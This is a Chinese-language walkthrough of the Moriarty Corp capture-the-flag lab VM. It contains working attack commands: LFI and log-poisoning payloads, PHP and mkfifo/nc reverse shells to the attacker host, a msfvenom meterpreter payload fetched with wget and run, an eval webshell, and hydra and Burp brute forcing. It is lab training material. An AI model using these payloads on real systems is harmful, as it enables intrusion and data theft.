打靶筆記-03-vulhub-BoredHackerBlog
一、靶機資訊
Name: BoredHackerBlog: Moriarty Corp(中-高階難度)
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog
這個靶機下載頁面有些提示,8000是提交flag的埠,沒必要攻擊,然後漏洞環境是安裝在靶機的Docker中的,別的好像沒了或者不太重要,可以按照完全啥也不知道進行打靶。
二、靶機啟動
2.1 靶機hash校驗
sha1sum MoriartyCorp.ova
e9874e51a2645c1b61a3afc771aa5abdc94bf264 MoriartyCorp.ova
2.2 匯入Virtualbox,並配置網路
這個靶機依然是適用於Vbox,而我攻擊機器是在Vmware上搭建的,所以還是將Vbox的網路橋接到vmnet8上,使其處於一個網段,實戰中這塊無需多慮。
2.3 啟動靶機
為了以防萬一,打個快照,啟動靶機開始練習
三、開始打靶
3.1 獲取靶機IP
3.1.1 攻擊機IP以及網路卡資訊
3.1.2 主機發現
sudo arp-scan -I eth0 -l
成功獲取靶機IP為172.16.95.139
3.2 埠&服務掃描
3.2.1 掃描開放埠
sudo nmap -p- 172.16.95.139
發現開放埠22、8000、9000
3.2.2 確認埠所對應服務
按照慣例,對埠後面的服務進一步確認
sudo nmap -p22,8000,9000 -sV 172.16.95.139
可以看到分別是SSH、PythonWeb框架Werkzeug、Portainer Docker UI控制介面
搞到這兒,就可以有多條向下的思路
1. 爆破ssh
2. Portainer 1.19.2 是否有漏洞,它上面搭建的Application是否有web漏洞
3. Portainer 1.19.2 的漏洞利用
可以利用nmap或其他工具進行漏洞掃描測試,這裡簡單利用nmap的指令碼掃描了一下,都沒發現漏洞,所以可以先去訪問下靶機提示的提交flag的8000埠。
3.3 訪問8000埠
3.3.1 開局
這個靶機的一切都從這裡開始進入,先鍵入flag{start}進入第一關
提示80埠,剛剛埠掃描沒發現,現在重新掃描一遍
果然開放了,看起來這個靶機是一關一關開放的,那就開始第一關吧。
3.3.2 第一關
訪問80埠,直接搞開網頁原始碼
發現這個頁面比較簡單,有點用處的就是兩個連結,看到接收引數是file,而且值是個檔案,我們有理由聯想到檔案包含,而且檔名可控,不過不知道路徑可不可控,可以試一試,結合之前埠服務掃描確定的作業系統為linux,所以:
/?file=../../../../../../etc/passwd
發現路徑引數也可控,所以存在本地檔案包含漏洞(LFI),而且包含的是敏感型檔案,說明還存在目錄遍歷漏洞
所以接下來就好玩了,可以包含任意檔案,那就也可以是webshell,然後用蟻劍或冰蠍等進行連線,但前提是判斷伺服器語言環境以及找到上傳webshell的地方
- 後端環境為php環境
簡單判斷了一下,或者也可以用Wappalyzer等外掛確定
- 上傳webshell的地方
這個地方,可以通過汙染日誌檔案的方式達到目的
ssh '<?php phpinfo();?>'@172.16.95.139
ssh '<?php system($_GET['shell']); ?>'@172.16.95.139
這個肯定連線不上,因為壓根沒有這個使用者名稱,但這裡目的是為了汙染ssh的連線日誌檔案。
為了驗證是否成功汙染,之前汙染了phpinfo的內容進入日誌,可以先包含一下看看:
?file=../../../../../../var/log/auth.log
最後好像失敗了,應該是沒有被汙染,沒想明白,這裡記錄一下,一會兒打進去看一下;
一會兒找到答案後記錄在此
第一關打入進去之後,發現就沒有此日誌檔案,後來才明白過來,這是個容器,而ssh的埠是宿主機的,然而宿主機的80埠對映到了容器中,這個漏洞網站是執行在容器中的,打死也包含不上啊,=-=
這裡利用偽協議再次嘗試:
首先是用了data偽協議:
?file=data:// text/plain,<?php phpinfo();?>
?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
成功!!!那就可以使用data協議進行反彈shell了,如下是程式碼(一定要記得URL編碼,否則程式碼中的一些字元例如&會被瀏覽器解析而無法進入後臺執行):
開啟nc進行監聽
nc -lnvp 6666
反彈shell
?file=data://text/plain,<?php %24sock%3dfsockopen("172.16.95.133","6666")%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b?>
直接執行php的反彈程式碼,結果一閃而過,應該是程式碼執行後就進行記憶體回收了,所以無法持續連結。所以需要可以採用如下的辦法實現:
?file=data://text/plain,<?php $var=shell_exec($_GET['d']);echo $var;?>&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff
// 或者採用base64轉換後:
?file=data://text/plain;base64,
PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydkJ10pO2VjaG8gJHZhcjs/Pg==&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff
成功拿到第一個flag,然後也提示了下一關資訊是個內網
3. 總結
反彈shell的shell_exec()函式可以自由更換,比如system(),還可以嘗試其他協議,比如http的方式進行遠端包含
不過這裡有個坑,如下:
首先在遠端伺服器(這裡直接以kali為例)上放置需要包含的檔案
cd /var/www/html/
sudo echo '<?php phpinfo();?>' ./1.txt
sudo cp 1.txt 1.php
進行遠端檔案包含
?file=http://172.16.95.133/1.txt
這而是先將1.txt的內容包含到了靶機上進行執行
進行如下遠端包含
?file=http://172.16.95.133/1.php
這是在遠端伺服器上執行後將執行後的html響應內容進行了包含
所以如果想要利用http的方式進行遠端檔案包含(RFI),要注意分辨包含的內容是什麼,要進行反彈shell的話可以將如下下載到的php檔案修改字尾名後掛載到遠端伺服器上再進行包含,否則拿到的shell就是自己遠端伺服器的shell
如果不改字尾名的話,拿到的shell就是自己遠端伺服器的shell,如下就搞笑了:
好了,這就開始進入第二關。。。
3.3.3 第二關
根據提示,這個伺服器上(docker容器)沒有任何資訊,需要進一步內網滲透,也提示了內網網段172.17.0.3-254(也可以自己收集到)
但是接下來,要進行內網滲透,攻擊機器必須能夠訪問到內網網段
兩種辦法
- 利用第一關拿到的shell提權,然後搞一堆攻擊工具下來,遠端操作,不過這個很不現實,基本可以放棄了
- 利用第一關拿到的shell建立隧道,使得外網的攻擊機器能夠訪問目標內網,這個可行,建立隧道的方式有很多種,我這裡選擇美少婦(MSF),回頭嘗試一下其他的方式並比較記錄下來
3.3.3.1 建立隧道
-
開啟msf,並開始監聽,準備接收shell
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp show options set lhost 172.16.95.133 set lport 8888 run
-
msfvenom生成相應的payload
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.95.133 lport=8888 -f elf >shell.elf
-
利用第一關的shell將生成的payload下載到目標機器執行進行上線
cd /tmp wget http://172.16.95.133/shell.elf chmod +x shell.elf ./shell.elf
成功上線
-
給獲得的meterpreter新增內網路由
route run autoroute -s 172.17.0.0/16 background route print
-
開啟msf的代理服務端功能
sessions use auxiliary/server/socks_proxy show options run
-
配置proxychains以使用代理
sudo vim /etc/proxychains4.conf
將msf的代理伺服器地址寫入
-
測試隧道是否成功
可以看到隧道已經建立成功
3.3.3.2 開始主機發現
proxychains nmap -p80,22,443 172.17.0.3-254
注意這裡有個坑,就是走proxychains時最好用普通使用者,我用root使用者好像沒掃出有效結果,不知道為啥。
之後找到答案,寫在這裡
成功發現一臺主機172.17.0.4開放了80埠
3.3.3.3 配置火狐代理訪問內網
發現內網有一臺主機開放了80埠,所以可以訪問一下,但是瀏覽器也必須走socks5代理才可以,如下配置
如下已經成功訪問到,可以看出是一個檔案上傳的頁面,看到檔案上傳就嘿嘿嘿了,不過貌似上傳要密碼
或者還可以使用如下命令啟動firefox,也可以訪問到內網web應用
proxychains firefox 172.17.0.4
3.3.3.4 檔案上傳利用
可以看到這個頁面上傳檔案需要密碼,那就只能爆破了,要想爆破就得抓包,所以必須得先讓瀏覽器的包先到burp,然後burp掛著代理去和內網通訊
瀏覽器=>Burp代理=>socks代理===>內網
所以需要做的就是瀏覽器設定代理到burp,然設定burp的socks代理,如下:
到此就搭建好了,然後開始上傳檔案,爆破密碼
- 這裡打算上傳webshell,先隨便輸入密碼如下:
echo '<?php @eval($_POST['ant']);?>' > shell.php
2. burp攔截併傳送到intruder進行密碼破解:
這裡字典選擇了rockyou,kali自帶的很大的字典
然後就可以暴力破解了
沒一會兒就找到了到密碼,是password,上傳之後shell.php的地址是./photo/22/shell.php
3. 上傳成功,使用蟻劍連結,蟻劍也需要配置socks5代理
設定代理
連結shell,這裡沒有自定義UA,可以在請求資訊或者js檔案中進行修改
3.3.3.5 尋找flag
最終在根目錄下找到第二個flag:2_flag.txt
提交之後開啟第三關
3.3.4 第三關
根據提示資訊,這關拿到了一些賬戶以及這些賬戶的hash,但是不知道具體哪個機器的ssh連線賬戶,先把賬戶記錄和密碼hash破解記錄下來,分別儲存為user.txt、password.txt
- 掃描內網開放了22埠的主機,如果對方ssh服務沒有更改埠號的話就是預設22
proxychains nmap -Pn -sT -p22 172.17.0.3-254
2. 然後發現新的主機172.17.0.5開放了22埠,然後呼叫hydra進行嘗試登陸破解
proxychains hydra -L user.txt -P password.txt
很快就找到了ssh登陸賬戶root密碼weapons
3. 開始嘗試ssh連線
4. 獲取3_flag.txt並提交
根據提示進入第四關,目標內網還搭建有聊天系統,可能在443、8000、8080、8888四個埠,然後還獲得聊天系統的賬戶buyer13密碼arms13
3.3.5 第四關
- 開始掃描443、8000、8080、8888埠開放主機
proxychains nmap -Pn -sT -p443,8000,8080,8888 172.17.0.3-254
發現172.17.0.6的主機8000埠開放
2. 訪問http://172.17.0.6:8000
通過分析Chats中的內容,可以發現對方管理員賬戶為admin
3. 邏輯漏洞修改管理員密碼
可以發現有一個Change Password的頁面,訪問一下,發現不用驗證舊密碼,先提交抓包看看
發現果然不需要舊密碼,也沒有驗證碼,判斷這邊是一個任意密碼修改的邏輯漏洞
然後嘗試將使用者名稱修改為admin,放包,如果能夠修改成功,則應該存在一個越權邏輯漏洞
最後成功登陸admin
在admin的Chats中發現了新的flag
4. 提交flag進入下一關
還提示內網還有一個Elasticsearch
3.3.6 第五關
Elasticsearch的預設埠是9200
- 掃描內網開放了9200埠的主機
proxychains nmap -Pn -sT -p9200 172.17.0.3-254
很快就發現了主機172.17.0.7開放了9200,很可能就部署在這臺伺服器上
2. 訪問http://172.17.0.7:9200
果然,拿到了這個服務的一些資訊
3. 搜尋Elasticsearch的歷史漏洞資訊
searchsploit Elasticsearch
然後就挨個嘗試吧
4. 漏洞利用
proxychains python2 36337.py 172.17.0.7
5. 提交flag,結束
四、總結
這個靶機從開始的檔案包含各種姿勢反彈shell開始,涉及到了內網隧道搭建,任意修改密碼,越權等邏輯漏洞等,練習了反彈shell的姿勢、msf的使用、burp聯動二級代理以及漏洞查詢思路等。
下次可以用下venom,據說也很好用。
這次沒怎麼涉及到免殺和繞過,將基本思路形成肌肉記憶後,需要再免殺和繞過上練習練習,畢竟之後實際環境不像靶機,不怎麼設定waf和防毒。